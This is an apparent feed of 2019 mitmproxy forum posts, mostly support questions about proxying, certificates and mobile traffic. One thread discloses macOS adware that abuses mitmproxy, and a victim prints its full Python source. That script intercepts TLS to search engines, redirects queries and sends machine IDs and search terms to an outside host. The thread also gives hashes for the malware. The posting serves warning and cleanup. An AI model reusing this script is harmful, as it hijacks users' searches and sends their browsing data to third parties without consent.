mitmproxy - Latest posts https://discourse.mitmproxy.org Latest posts The mitmproxy forums have been discontinued Hi all,

We’re closing the mitmproxy forums in favor of GitHub Discussions. Please use

When launching the forums, we hoped to get more contributors on board to help with the increasing stream of support requests. While some of you have been helping out occasionally (thank you so much for that!), we feel that the situation hasn’t improved substantially while the number of questions has not stopped increasing. As such, we have decided to try to handle user questions on GitHub Discussions instead. We hope that this provides better incentives for users to help out others. If it works, it works; if it doesn’t work, we may come back here. :slight_smile:

Cheers,
Max

]]>
https://discourse.mitmproxy.org/t/the-mitmproxy-forums-have-been-discontinued/1721#post_1 Mon, 04 Nov 2019 14:25:04 +0000 discourse.mitmproxy.org-post-3093
Reverse proxy listen_port not taking Some/any information/suggestions would be greatly appreciated!

Am I asking a stupid/difficult/redundant question?

I’m afraid I can’t figure this out for myself; and I find what documentation there is incomplete/outdated/contains errors… what do people actually use?

]]>
https://discourse.mitmproxy.org/t/reverse-proxy-listen-port-not-taking/1709#post_3 Mon, 04 Nov 2019 12:29:03 +0000 discourse.mitmproxy.org-post-3092
Blocking specific HTTPS POST request by payload/endpoint? Hi Victor,

You should be able to filter by body payload unless request/response streaming is activated (https://docs.mitmproxy.org/stable/concepts-filters/). Other than that, maybe all you need is https://docs.mitmproxy.org/stable/overview-features/#replacements?

]]>
https://discourse.mitmproxy.org/t/blocking-specific-https-post-request-by-payload-endpoint/1719#post_2 Mon, 04 Nov 2019 12:22:57 +0000 discourse.mitmproxy.org-post-3091
Getting requests from a mobile app that only works via VPN? Yeah, I would have the VPN on the laptop, changing the location to the appropriate locale. Though since that was 6 days ago, maybe you’ve already done it? Did it work?

]]>
https://discourse.mitmproxy.org/t/getting-requests-from-a-mobile-app-that-only-works-via-vpn/1711#post_2 Fri, 01 Nov 2019 05:03:10 +0000 discourse.mitmproxy.org-post-3089
Blocking specific HTTPS POST request by payload/endpoint? We have a third party web app served over HTTPS.

There is a specific HTTP POST request that we’d like to block and/or manipulate - but only for certain payloads. We can find this based on a substring in the HTTP payload.

Assuming we can get the certificates setup on all clients, what is the best way to achieve this with mitmproxy?

I saw there’s a scripting (https://docs.mitmproxy.org/master/addons-scripting/) feature but there’s not a lot of examples/explanation on it. Is this the best way? Or is the another feature that works here?

Anybody done something similar?

Thanks,
Victor

]]>
https://discourse.mitmproxy.org/t/blocking-specific-https-post-request-by-payload-endpoint/1719#post_1 Thu, 31 Oct 2019 00:42:39 +0000 discourse.mitmproxy.org-post-3088
Proxying to improve web page accessibility? This makes perfect sense :slight_smile: and it’s a great idea. I’m not aware of similar projects.
You have several good examples in examples/addons.
You’ll need some other modules, dedicated to parsing the HTML code (such beautifulsoup, scrapy, …), to try to make them accessible. This crucial part, will be the difficult one as many web site don’t make them very usable, and end up in a guessing game.

]]>
https://discourse.mitmproxy.org/t/proxying-to-improve-web-page-accessibility/1716#post_2 Wed, 30 Oct 2019 18:06:40 +0000 discourse.mitmproxy.org-post-3086
Proxying to improve web page accessibility? I’m interested in creating a tool to improve the accessibility of web pages. For example, it might perform HTML rewriting (e.g., to add ARIA support) and adding explanatory dialogs (e.g., page index or table of contents, text summaries, image descriptions).

It appears that mitmproxy could be used as the basis for such a tool. Does this sound plausible? If so, can anyone point me to existing projects that might serve as examples (or better yet, a starting point)?

-r

]]>
https://discourse.mitmproxy.org/t/proxying-to-improve-web-page-accessibility/1716#post_1 Wed, 30 Oct 2019 17:44:48 +0000 discourse.mitmproxy.org-post-3084
Mitmdump - cutting off responses Hey all, new to mitmdump/proxy but I am finding this tool to be fantastic.

I have a requirement to capture ALL web traffic from the proxy (especially sourced in javascript), and parse it (ideally from command line) looking for specific things. This tool is SO CLOSE to answering all my questions but I can not see all the traffic (especially responses) when using mitmdump to export a dump to plain text file.

The odd thing is, I see FULL responses/requests when viewing the same dump file via mitmproxy or mitmweb (using mitmproxy -n -r ). When viewing via mitmdump I see some of the responses that contain this:

To create my dump file here is the process I am performing:

  1. mitmdump --flow-detail 3 -w test.dump
  2. Browse to website that I want to capture traffic from
  3. stop mitmdump with a cntl-c
  4. redirect dump capture to a txt file: mitmdump -n --flow-detail 3 -r test.dump > test.txt
  5. test.txt will “cut off” some of my traffic responses
  6. Verify by loading original test.dmp file in mitmproxy, and sure enough I see all traffic

Can anyone assist and let know where I am going wrong with this method?
Running on ubuntu. Version info below:

Mitmproxy: 4.0.4
Python: 3.6.8
OpenSSL: OpenSSL 1.1.0i 14 Aug 2018
Platform: Linux-5.0.0-32-generic-x86_64-with-Ubuntu-18.04-bionic

]]>
https://discourse.mitmproxy.org/t/mitmdump-cutting-off-responses/1714#post_1 Tue, 29 Oct 2019 16:30:30 +0000 discourse.mitmproxy.org-post-3082
Reverse proxy listen_port not taking Is everyone else able to successfully configure the port the proxy is listening on? I could change my web server to 8080, but that misses the point…

]]>
https://discourse.mitmproxy.org/t/reverse-proxy-listen-port-not-taking/1709#post_2 Mon, 28 Oct 2019 12:38:24 +0000 discourse.mitmproxy.org-post-3080
Mitmproxy with Nginx Do you deal with it?I want to know how mitmproxy and nginx work together.

]]>
https://discourse.mitmproxy.org/t/mitmproxy-with-nginx/863#post_2 Sun, 27 Oct 2019 11:26:19 +0000 discourse.mitmproxy.org-post-3079
Getting requests from a mobile app that only works via VPN? Hello,

I want to check the requests of an app of video streaming that only works on mobiles phones within the US. I am not in the US, so I am having a hard time to achieve what I want.

What I have done so far is the following:

  • I configured my notebook (Arch Linux) as an AP (using create_ap) where the internet comes from eth0 and it is shared via wlan0
  • I have installed mitmproxy and downloaded the certs on my android phone
  • I have started the VPN on the android device (using psiphon)
  • I accessed the app on the mobile and start watching the video. It works fine but on mitmproxy console all I get is:

GET google .com/gen_204

GET connectifitycheck.gstatic.com/generate_204

GET play.googleapis.com/generate_204

I am unsure how to proceed. Any help please?

Maybe I need to start the VPN connection on the notebook and “share” the tun0 device over wlan0 instead of eth0 (if that would be possible)?

Thanks.

]]>
https://discourse.mitmproxy.org/t/getting-requests-from-a-mobile-app-that-only-works-via-vpn/1711#post_1 Fri, 25 Oct 2019 20:26:34 +0000 discourse.mitmproxy.org-post-3077
Reverse proxy listen_port not taking I’ve set up a simple reverse proxy on Ubuntu: mitmproxy --mode reverse:http://host.example.com/ --set block_global=false --set listen_port=80

Earlier, I was getting “Error starting proxy server: PermissionError(13, ‘Permission denied’)” for the above, which seems to have melted away; the current issue is that the listen_port is being ignored. I get RSTs back for requests sent on 80 (8080 is still in play)…

]]>
https://discourse.mitmproxy.org/t/reverse-proxy-listen-port-not-taking/1709#post_1 Thu, 24 Oct 2019 14:35:03 +0000 discourse.mitmproxy.org-post-3075
MajorSignalSearch: malware using mitmproxy I ran into what looks like the same malware on a friend’s system. Just adding a little more information in case it helps others find a solution faster–feel free to delete if you think it’s counter-productive, though.

  • Can confirm randomized names; in this case SkilledDeskSearch.
  • I’m not certain, but after reading up on OperatorMac I see “Advanced Mac Cleanup” cited as a potential source. I’m pretty sure I found and removed this app (along with several others the friend didn’t use/recognize, including “MacEnizer”, “ShowProcess”, “SkyScanner” and a few more I don’t recall off the top of my head).
  • In our case the script sends traffic to prisearches1442-a.akamaihd.net.

I collected the files and running process info. Both SkilledDeskSearch and SkilledDeskSearchDaemon binaries have a size around 12M. Here’s what was running, and the associated file hashes:

Running processes:
   49 ??         0:01.02 /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
  496 ??         0:00.27 /var/root/.SkilledDeskSearch/SkilledDeskSearch --mode socks5 --showhost -q -s /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
  526 ??         1:52.57 /var/root/.SkilledDeskSearch/SkilledDeskSearch --mode socks5 --showhost -q -s /var/root/.SkilledDeskSearch/SkilledDeskSearch.py

md5sum:
88781be104a4dcb13846189a2b1ea055  /var/root/.SkilledDeskSearch/SkilledDeskSearch
a8181c3356bd6d7ba6126eed14d8cf81  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
c3feba6a65878458c45f0b61e80502a3  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
cd823cb029ff6a16c831ef794986f15a  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
d307042277fcb8a09fc7a478ee3a2606  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
cd823cb029ff6a16c831ef794986f15a  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
6a4a133e68fc57372d4c47393925dbf9  /var/root/.mitmproxy/mitmproxy-ca.p12
923b3dd65345ad03aef6e0c3886d72c9  /var/root/.mitmproxy/mitmproxy-ca.pem
a42d9394a706998b3aa079b70954be6a  /var/root/.mitmproxy/mitmproxy-dhparam.pem

shasum:
140518c86164152abf88165b5ab327ddff859b0e  /var/root/.SkilledDeskSearch/SkilledDeskSearch
492964dffacf1f93d130457a65c0cc0bd16408a1  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
e53a8dad49bd0b51fa7bf4c1f7285590b7b8bb3a  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
18329565d344f1216a4469e769c15c374dcb2635  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
c864c4887fb67ed9a5678b6fc6685e89262e87a3  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
18329565d344f1216a4469e769c15c374dcb2635  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
77089c231316fa2bc2c4e556917d92b702a919eb  /var/root/.mitmproxy/mitmproxy-ca.p12
0f0978350a3f7f77808b2c70290bb9cb63de397f  /var/root/.mitmproxy/mitmproxy-ca.pem
8c6010c959840e3b7c37d69ce66e65199ccf1973  /var/root/.mitmproxy/mitmproxy-dhparam.pem

sha256sum:
1a8a17b615799f504d1e801b7b7f15476ee94d242affc103a4359c4eb5d9ad7f  /var/root/.SkilledDeskSearch/SkilledDeskSearch
65dc40a2c7e5a5c69743a25a91c8e2c2ca336dfb5ea9884ac74d5dfc5cedf52b  /var/root/.SkilledDeskSearch/SkilledDeskSearch.py
ee27295cc5629101549c6df41f1197733e341b37196bfacaca76738b205970ff  /var/root/.SkilledDeskSearch/SkilledDeskSearchDaemon
ad03dd660ddb0940f86a717b4aabf7b78d90c7db1ad29c4472d63dfe2b336867  /var/root/.mitmproxy/mitmproxy-ca-cert.cer
bea1a281369e2d23345f6cf3ee35fa2335abcb922d7af0d7f1c9484ae077eba1  /var/root/.mitmproxy/mitmproxy-ca-cert.p12
ad03dd660ddb0940f86a717b4aabf7b78d90c7db1ad29c4472d63dfe2b336867  /var/root/.mitmproxy/mitmproxy-ca-cert.pem
2cb5b43386aaaa4326e8272f8b03557c4b1c87f2dc8ba95ba5dc28fc04f2425b  /var/root/.mitmproxy/mitmproxy-ca.p12
f69ec3697a646c222b1313592b95dedd21680ef634cdd89687820edb072b3bfd  /var/root/.mitmproxy/mitmproxy-ca.pem
477594498b21aba93a9d0097f54746469b99ed638b5af89fe8504be175be4168  /var/root/.mitmproxy/mitmproxy-dhparam.pem
]]>
https://discourse.mitmproxy.org/t/majorsignalsearch-malware-using-mitmproxy/1690#post_3 Wed, 23 Oct 2019 15:58:40 +0000 discourse.mitmproxy.org-post-3072
Mitmproxy not working with iOS 13 I resolved the issue by upgrading mitmproxy to 4.0.4:
“brew upgrade mitmproxy”
and installing missing dependencies when asked to:
“xcode-select --install”

]]>
https://discourse.mitmproxy.org/t/mitmproxy-not-working-with-ios-13/1705#post_2 Wed, 23 Oct 2019 08:32:43 +0000 discourse.mitmproxy.org-post-3070
Mitmproxy not working with iOS 13 Hello, I can’t view mobile traffic with iOS 13.1.2
everything was fine with iOS 12.x
But when I have updated iOS. mitmproxy stopped working for me. I’m installing certificate from mitm.it but it still won’t work. I’m using MacOS 10.14.6 (Mojave, did not update it yet) + Mitmproxy version: 2.0.1 (release version).
Anyone has the same issue?

]]>
https://discourse.mitmproxy.org/t/mitmproxy-not-working-with-ios-13/1705#post_1 Tue, 22 Oct 2019 10:59:45 +0000 discourse.mitmproxy.org-post-3069
Mitmproxy/mitmdump multiple processes using same proxy port Hi.

I noticed that it is possible to run multiple mitmproxy/mitmdump instances on the same proxy port.
As I don’t think that this is a valid scenario (as it is totally indeterministic which process processes a request) so why doe mitmproxy not lock the used TCP port so that the second and third instance is getting an error - or is there an option to enable such a behavior?

Edit: I noticed that this behavior is hard-coded and cant be changed without modifying the code:

]]>
https://discourse.mitmproxy.org/t/mitmproxy-mitmdump-multiple-processes-using-same-proxy-port/1697#post_1 Fri, 18 Oct 2019 07:48:47 +0000 discourse.mitmproxy.org-post-3061
Slow and Crashing on Raspberry Pi Hi all,

(Duplicate here as I’m unsure how to proceed)
I’m having problems running mitmproxy successfully on my raspberry pi.
I’ve set it up this way such that I can find a certain requests which can appear randomly, however I’ve found that if I keep mitm continuously proxing, the requests seem to become slower and slower, until it just dies.
Just recently after getting the request I was searching for, by the time I got to the web client to view the logs, it had crashed and everything disappeared.

Is there something I’m overlooking?

System information

Mitmproxy: 4.0.4
Python: 3.7.3
OpenSSL: OpenSSL 1.1.1c 28 May 2019
Platform: Linux-4.19.75-v7±armv7l-with-debian-10.1

]]>
https://discourse.mitmproxy.org/t/slow-and-crashing-on-raspberry-pi/1695#post_1 Thu, 17 Oct 2019 02:46:05 +0000 discourse.mitmproxy.org-post-3059
Reverse Mode: change request host, according to the SNI (HTTPS) Thanks!!! it can work!!!

]]>
https://discourse.mitmproxy.org/t/reverse-mode-change-request-host-according-to-the-sni-https/466#post_4 Thu, 17 Oct 2019 02:32:00 +0000 discourse.mitmproxy.org-post-3057
Error decoding header block: Encoder did not shrink table size to within the max Can only get such an error message!!!
command args:./mitmweb --listen-port=7777 --web-iface 0.0.0.0 --set block_global=false --set http2_priority=true --set termlog_verbosity=debug --set bodyize_limit=3m
debug info :slight_smile:::ffff:127.0.0.1:39876: HTTP2 Event from server
-> <SettingsAcknowledged changed_settings:{ChangedSetting(setting=SettingCodes.HEADER_TABLE_SIZE, original_value=4096, new_value=0), ChangedSetting(setting=SettingCodes.ENABLE_PUSH, original_value=1, new_value=0)}>
::ffff:127.0.0.1:39876: HTTP2 Event from client
-> <SettingsAcknowledged changed_settings:{ChangedSetting(setting=SettingCodes.MAX_CONCURRENT_STREAMS, original_value=100, new_value=20)}>
::ffff:127.0.0.1:39876: HTTP2 Event from client
-> <SettingsAcknowledged changed_settings:{}>
::ffff:127.0.0.1:39876: HTTP2 Event from server
-> <SettingsAcknowledged changed_settings:{}>
::ffff:127.0.0.1:39876: ProtocolError(‘Error decoding header block: Encoder did not shrink table size to within the max’,)
::ffff:127.0.0.1:39876: serverdisconnect

usage C# Client send http/2.0 protocol
C# error:System.IO.IOException : The response ended prematurely, with at least 9 additional bytes expected.
Sorry, the full code and package could not be provided for confidentiality reasons
The problem description is nothing more than thi

]]>
https://discourse.mitmproxy.org/t/error-decoding-header-block-encoder-did-not-shrink-table-size-to-within-the-max/1692#post_1 Wed, 09 Oct 2019 02:38:26 +0000 discourse.mitmproxy.org-post-3055
MajorSignalSearch: malware using mitmproxy Hi @tschoonj,

Thank you for the heads-up! I unfortunately stumbled upon the same issue on a machine yesterday, so there might be a new campaign being pushed. :slightly_frowning_face:

Key Points:

  1. There unfortunately is a family of malicious software that uses mitmproxy’s code under the hood to redirect users’ traffic.
  2. We – the mitmproxy developers – are in no way affiliated with this and condemn the criminals’ activities. Unfortunately, we cannot stop them including our code in their software.
  3. Our software is unfortunately mis-used for malicious purposes here. We are sorry if you have been infected. We would like to emphasize that we actively fight “on the other side”: Mitmproxy is regularly used to improve software security, uncover privacy violations, etc.: https://mitmproxy.org/publications/.

More technical commentary:
The name (MajorSignalSearch in your case) seems to be randomized. Malwarebytes classifies it as Adware.OperatorMac. They have a blog post describing the phenomenon:
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-malware-intercepts-encrypted-web-traffic-for-ad-injection/. Mitmproxy is not the only tool that could be used for this, some other malware families are using Titanium Web Proxy for example (https://www.airoav.com/mitm-proxy-a-new-search-hijack-method-on-mojave/).

Best,
Max

]]>
https://discourse.mitmproxy.org/t/majorsignalsearch-malware-using-mitmproxy/1690#post_2 Sun, 06 Oct 2019 12:39:03 +0000 discourse.mitmproxy.org-post-3053
MajorSignalSearch: malware using mitmproxy Hi,

This morning I discovered some malware on my wife’s MacBook Pro which had the unpleasant effect of redirecting Google search requests in Safari to Yahoo. A bit of investigation yielded a process called MajorSignalSearch that appeared to be responsible for this. The culprit was a file called MajorSignalSearch.py that relies extensively on mitmproxy to do its dirty work. Here is the source code:

import collections
import random
import datetime

from enum import Enum

import mitmproxy
from mitmproxy import ctx
from mitmproxy.exceptions import TlsProtocolException
from mitmproxy.proxy.protocol import TlsLayer, RawTCPLayer
import re
from mitmproxy.net.http import Headers
from mitmproxy.http import HTTPResponse

import json
import urllib
try:
    import urllib.request as urllib2
except ImportError:
    import urllib2

class _TlsStrategy:
    def __init__(self):
        pass

    def should_intercept(self, server_address):
        raise NotImplementedError()


class ConservativeStrategy(_TlsStrategy):
    def should_intercept(self, server_address):
        return GetInterceptableDomainId(server_address[0]) != None


class TlsFeedback(TlsLayer):
    def _establish_tls_with_client(self):
        server_address = self.server_conn.address

        try:
            super(TlsFeedback, self)._establish_tls_with_client()
        except TlsProtocolException as e:
            raise e


# global variables
machineId = "4E033AA9-5B2E-5B0D-A384-656C144D52B1"
br = "1007"
searchUrl = "http://lkysearchds4407-a.akamaihd.net/ps?_pg=4E033AA9-5B2E-5B0D-A384-656C144D52B1&q=@@SearchTerm@@"
interceptableDomains = {"1":[{"Id":"1","Domain":".google.","IsRegex":"False"}],"2":[{"Id":"2","Domain":".yahoo.","IsRegex":"False"}],"3":[{"Id":"3","Domain":".bing.","IsRegex":"False"}]}
searchMatches = {"1":{"Id":"1","MatchRegex":"https?://[^/]*/search\\?.*?[?&]q=","SearchQueryParam":"q"},"2":{"Id":"2","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]p=*((?!ANYS_.|Tarrv_.|__alt__ddc_srch_searchpulse_net|hspart=sz&.*?type=type801[^&]*).)*$","SearchQueryParam":"p"},"3":{"Id":"3","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]q=((?!AEE67B61E61).)*$","SearchQueryParam":"q"}}
domainMaps = {"1":["1"],"2":["2"],"3":["3"]}
userAgents = [".*?\\)\\s*[^\\)]+(?:(?<!Chrome)/[0-9\\.]+ Safari/([0-9\\.]+))$"]
referrerChecks = {}
tls_strategy = None
intercepts = {}
yahooTypeTagRegexes = [re.compile(r'type=ANYS_.*$', re.M|re.I), re.compile(r'type=Tarrv_.*$', re.M|re.I), re.compile(r'type=[^&]*__alt__ddc_srch_searchpulse_net', re.M|re.I), re.compile(r'hspart=sz&.*?type=type801[^&]*', re.M|re.I)]
isGoogleMapRegex = re.compile(r'^https?://[^/]*\.google\.co[^/]*/.*[?&]tbm=map.*', re.M|re.I)
searchParamString = '[?&]na=([^&]+)'
scriptVersion = 1.0
responseBodyTemplate = """
<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="no-referrer" />
    <meta http-equiv="Refresh" content="0; url=@@RedirectUrl@@" />
  </head>
</html>
"""


def load(l):
    pass


def configure(updated):
    global tls_strategy
    tls_strategy = ConservativeStrategy()


def next_layer(next_layer):
    if isinstance(next_layer, TlsLayer) and next_layer._client_tls:
        server_address = next_layer.server_conn.address

        if tls_strategy.should_intercept(server_address):
            next_layer.__class__ = TlsFeedback
        else:
            #mitmproxy.ctx.log("TLS passthrough for %s" % repr(next_layer.server_conn.address), "info")
            next_layer_replacement = RawTCPLayer(next_layer.ctx, ignore=True)
            next_layer.reply.send(next_layer_replacement)


def GetInterceptableDomainId(domain):
    for key, interceptableDomainGroup in interceptableDomains.items():
        for interceptableDomain in interceptableDomainGroup:
            if (interceptableDomain['IsRegex'] == 'True' and re.match(interceptableDomain['Domain'], domain)) or (interceptableDomain['IsRegex'] == 'False' and interceptableDomain['Domain'] in domain):
                return interceptableDomain['Id']
    return None

def SendNoIntercept(url, userAgent, referrer, searchTerm, reason):
    #ctx.log.info("------------Entered SendNoIntercept: %s------------" % reason)

    data = {
        "ev": "pdt",
        "sv": scriptVersion,
        "rf": urllib.parse.quote(referrer),
        "ua": userAgent,
        "cg": machineId,
        "br": br,
        "u": urllib.parse.quote(url),
        "st": urllib.parse.quote(searchTerm),
        "r": reason
    }

    try:
        json_data = json.dumps(data).encode("utf-8")
        method = "POST"
        handler = urllib2.HTTPHandler()
        opener = urllib2.build_opener(handler)
        request = urllib2.Request("http://lkysearchds4407-a.akamaihd.net/olg", data=json_data)
        request.add_header("Content-Type",'application/json')
        request.get_method = lambda: method
        connection = opener.open(request)
    except Exception as e:
        #ctx.log.error("------------Error sending message ------------\n%s:\n%s" % (e.__doc__, e.message))
        pass


def request(flow):
    searchTerm = ""
    referrer = flow.request.headers.get("Referer") or ""
    userAgent = flow.request.headers.get("User-Agent") or ""

    # abort if userAgent not in whitelist    
    userAgentMatches = False
    for ua in userAgents:
        userAgentMatches = userAgentMatches or (re.match(ua, userAgent) != None)

    if not userAgentMatches:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "UA mismatch")
        return

    # get domain id if it exists
    domainId = GetInterceptableDomainId(flow.request.host)

    # abort if domain id was not found
    if domainId == None:
        return

    # get valid search string ids
    validDomainMaps = domainMaps[domainId]
    
    # abort if there are no search strings
    if validDomainMaps == None or not validDomainMaps:
        return

    for mapMatchId in validDomainMaps:
        try:
            searchMatchItem = searchMatches[mapMatchId]
            if searchMatchItem == None or not searchMatchItem:
                continue
            if re.search(searchMatchItem['MatchRegex'], flow.request.url) != None:
                searchQueryRegex = searchParamString.replace("na", searchMatchItem['SearchQueryParam'])
                searchTerm = re.search(searchQueryRegex, flow.request.url).group(1)
                break
        except:
            pass

    skipReferrerCheck = referrerChecks.get(domainId, 'False')
  
    if not searchTerm:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "No search term")
        return

    # abort if yahoo typetag matches blacklist
    if 'search.yahoo' in flow.request.host:
        for pattern in yahooTypeTagRegexes:
            if re.search(pattern, flow.request.url) != None:
                SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Yahoo typetag blacklist")
                return

    # abort if google maps
    if re.match(isGoogleMapRegex, flow.request.url) != None:
        return

    # abort if no referer    
    if skipReferrerCheck != 'True' and (referrer) != "":
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Referrer exists")
        return

    # abort if request has already been made within the threshold
    requestTime = datetime.datetime.now()
    lastRequestTime = requestTime + datetime.timedelta(days=-1)
    if searchTerm in intercepts:
        lastRequestTime = intercepts[searchTerm]        
    timeDifference = requestTime - lastRequestTime
    maxTimeDifference = datetime.timedelta(seconds=5)
    if maxTimeDifference >= timeDifference:
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Repeat search")
        return

    intercepts[searchTerm] = datetime.datetime.now()
    flow.request.headers["Referer"] = ""
    redirectUrl = searchUrl.replace("@@SearchTerm@@", searchTerm)
    if (referrer) != "":
        redirectUrl = redirectUrl + "&s=" + domainId
    responseBody = responseBodyTemplate.replace("@@RedirectUrl@@", redirectUrl)
    flow.response = HTTPResponse.make(
        302,  # (optional) status code
        responseBody.encode('utf-8'),  # (optional) content
        {"Content-Type": "text/html"} # (optional) headers
    )

This file and some others were in /var/root/.MajorSignalSearch. I also had to kill the daemon and remove the plist file in /Users/$USER/Library/Application Support/com.MajorSignalSearch/MajorSignalSearch

I just wanted to create this post hoping Google would index it and perhaps lead other affected people to a solution.

This post should not be construed as criticism of mitmproxy in any way, as I had never heard from it until I looked at the malware source code…

]]>
https://discourse.mitmproxy.org/t/majorsignalsearch-malware-using-mitmproxy/1690#post_1 Sun, 06 Oct 2019 10:26:29 +0000 discourse.mitmproxy.org-post-3052
Is it possible to show the full URLs? Currently all URLs are truncated, is it possible to display the full URL strings without truncating them?

mitmweb doesn’t truncate the URLs but mitmproxy does.

]]>
https://discourse.mitmproxy.org/t/is-it-possible-to-show-the-full-urls/1688#post_1 Tue, 01 Oct 2019 15:07:05 +0000 discourse.mitmproxy.org-post-3050
Cert option ignores subdomain when used with wildcard certificate I using the latest mitmproxy version (4.0.4) and try to achieve the following:
a specific subdomain should be decrypted using a wildcard keypair I own for this domain (wildcard.pem), while all other subdomains should be intercepted using the default CA.

as such I use:
mitmweb --cert "sub.example.tld=./wildcard.pem"

Expected behavior: the wildcard certificate is used for “sub.example.tld” while “www.example.tld”, “anothersub.example.tld” are intercepted using the mitmproxy CA.

What actually happens: all subdomains of example are intercepted with the wildcard cert I provide.

If i use a cert option with a non-wildcart certificate-keypair:
mitmweb --cert "works.example.com=./works.pem"
everything works as intended (mitmproxy CA is used for everything but works.example.com).

Any clues on what I am missing here?
Is this intended behavior: “(wildcard) certificate CN overwriting specified subdomain”?

]]>
https://discourse.mitmproxy.org/t/cert-option-ignores-subdomain-when-used-with-wildcard-certificate/1680#post_1 Tue, 24 Sep 2019 12:03:00 +0000 discourse.mitmproxy.org-post-3042
Using MITM API for fetching information Hello Mitm folks,

I looked at documentation on API but was not clear. The use case that I have is to have an API call (using Python) to capture the following information and store as log file (txt human readable).

  1. Redirection chains - The urls that were seen as traces that we see in command line
  2. Capture each request, response, IPs etc in readable text format.

The sample I am thinking of is to query the captured “saved” MITM Proxy traces.

def getAllRedirectionUrl()
“Will give me all redirection url of the traces”

def getSingleUlrFromTheChain(index)
“Will get single url from the chain from the index chain”

def getRequestorResponseFromTheChain(request[or response], Index)
“Will get provided index request or response”

def toString(input)
“Will provide human-readable toString text form for a provided input file or above-queried information”

Any insights?

Thanks
Bhupendra

]]>
https://discourse.mitmproxy.org/t/using-mitm-api-for-fetching-information/1678#post_1 Mon, 23 Sep 2019 19:47:44 +0000 discourse.mitmproxy.org-post-3040
Why no examples of `config.yaml` ?! Is there some reason the docs don’t include an example of config.yaml ?

YAML is a finicky format and it’s so easy to screw up indentation, etc. that it would be nice to start from a working example.
I’m surprised that brew install mitmproxy doesn’t create one.
I couldn’t even find an example in the source code.
I’m not expecting https://github.com/ansible/ansible/blob/devel/examples/ansible.cfg
but a working config file would be a nice touch.

]]>
https://discourse.mitmproxy.org/t/why-no-examples-of-config-yaml/1674#post_1 Mon, 16 Sep 2019 20:37:47 +0000 discourse.mitmproxy.org-post-3036
Cannot install mitmproxy certificate on windows 10 I am experiencing the same issue, but using a blank password does not fix the problem. Instead certutil complains that this is a self-signed certificate. Any idea how to overcome this?

]]>
https://discourse.mitmproxy.org/t/cannot-install-mitmproxy-certificate-on-windows-10/784#post_3 Sat, 14 Sep 2019 17:33:18 +0000 discourse.mitmproxy.org-post-3032
Secure 2 way SSL How to implement secure 2-way SSL?

]]>
https://discourse.mitmproxy.org/t/secure-2-way-ssl/1665#post_1 Thu, 05 Sep 2019 22:36:18 +0000 discourse.mitmproxy.org-post-3026
Mitmweb.exe works fine, but mitmdump.exe doesn't Hello,

I starts mitmweb or mitmdump on windows 10 and see all https requests from android emulator. but mitmweb works very well, mitmdump does not.

I tryed different combinations of options.

mitmdump -s test.py
mitmdump
mitmdump -s test.py --cert *=my_cert.pem

I see the same result: output with many erros of TLS

192.168.1.54:58823: CONNECT www.google.com:443
<< Cannot establish TLS with www.google.com:443 (sni: None): TlsException(‘Cannot validate certificate hostname without SNI’,)

And my android application crashes too, but works fine then mitmweb.exe is started and all output lines of https requests seem as ok.

]]>
https://discourse.mitmproxy.org/t/mitmweb-exe-works-fine-but-mitmdump-exe-doesnt/1662#post_1 Mon, 02 Sep 2019 13:34:47 +0000 discourse.mitmproxy.org-post-3023
Anki Vector Hi All,

I’ve been playing around with mitmproxy on a raspberry pi and I have it all working, very cool, btw, awesome work.

I’m trying to see what calls the Anki Vector makes, so I can figure out my own server.

The app connects Vector to vector via BT to set the wifi that works but as I can’t install any cert on to the bot it’s self, as far as I’m aware anyway. The bot can’t talk back when on the mitmproxy access point (Raspberry Pi), I’m assuming this is because it hasn’t got the mitmproxy cert …

“Set the test device up to use the host on which mitmproxy is running as the default gateway and install the mitmproxy certificate authority on the test device.”

I thought transparent proxy would be the answer… but not with the cert requirement … :thinking:

]]>
https://discourse.mitmproxy.org/t/anki-vector/1659#post_1 Sun, 01 Sep 2019 22:19:06 +0000 discourse.mitmproxy.org-post-3020
One way ssl and mitm For first question, if the device only verifies certificate normally like it should, then you can install the root certificate of MITM proxy to the trust store of the device. Note that this only works for Android 6 or below.

]]>
https://discourse.mitmproxy.org/t/one-way-ssl-and-mitm/1650#post_2 Fri, 30 Aug 2019 13:52:28 +0000 discourse.mitmproxy.org-post-3013
One way ssl and mitm There are thousands of devices connecting to a server in the cloud with one way SSL where cloud has CA signed cert installed.

Assuming device does proper SSL cert validation when connecting to the server and fails the connection if there is validation failure, Is it possible to still perform MiTM to inspect (possible modify) the SSL traffic? If Yes, how?

]]>
https://discourse.mitmproxy.org/t/one-way-ssl-and-mitm/1650#post_1 Thu, 29 Aug 2019 17:39:13 +0000 discourse.mitmproxy.org-post-3010
Chrome to Google docs via proxy in HTTP/1.1 mode This is not a proxy issue. I am looking for some ideas to work around my issue which is this:

  1. A host is running Chrome browser with 20-30 open tabs to various Google docs. All connections use http2. There is no issue in read/write/sharing of docs.
  2. Host setting is changed so that all HTTP/HTPS traffic now goes through proxy with http2 disabled. Thus, any new connection between Chrome and Google docs origin server through the proxy will be HTTP/1.1
  3. Almost immediately (as observed via developer tools), various Google docs API begin to time out. Any update on Google doc begins to take a long time (observed 20 seconds to over a minute).

What is happening: As chrome opens new connections to docs.google.com domain through the proxy, there is a limit of 6 connections per domain. On a HTTP/1.1 connection, one of the operations (bind) blocks a connection for almost a minute. This causes a big queue buildup for various operations from all across the tabs since they all contend for 6 connections to the same domain.

